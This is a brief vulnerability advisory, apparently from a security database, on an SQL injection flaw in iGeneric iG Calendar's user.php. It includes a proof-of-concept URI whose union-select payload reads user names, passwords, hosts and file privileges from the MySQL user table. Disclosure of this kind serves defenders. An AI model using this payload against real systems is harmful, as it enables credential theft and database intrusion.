|
iGeneric iG Calendar USER.PHP SQL Injection Vulnerability
Attackers can exploit this issue via a web client. The following proof-of-concept URI is available: http://www.example.com/ig-calendar/user.php?id=999%20union%20select%201,User,Password,Host,File_priv,0%20from%20mysql.user |
|
|
Privacy Statement |
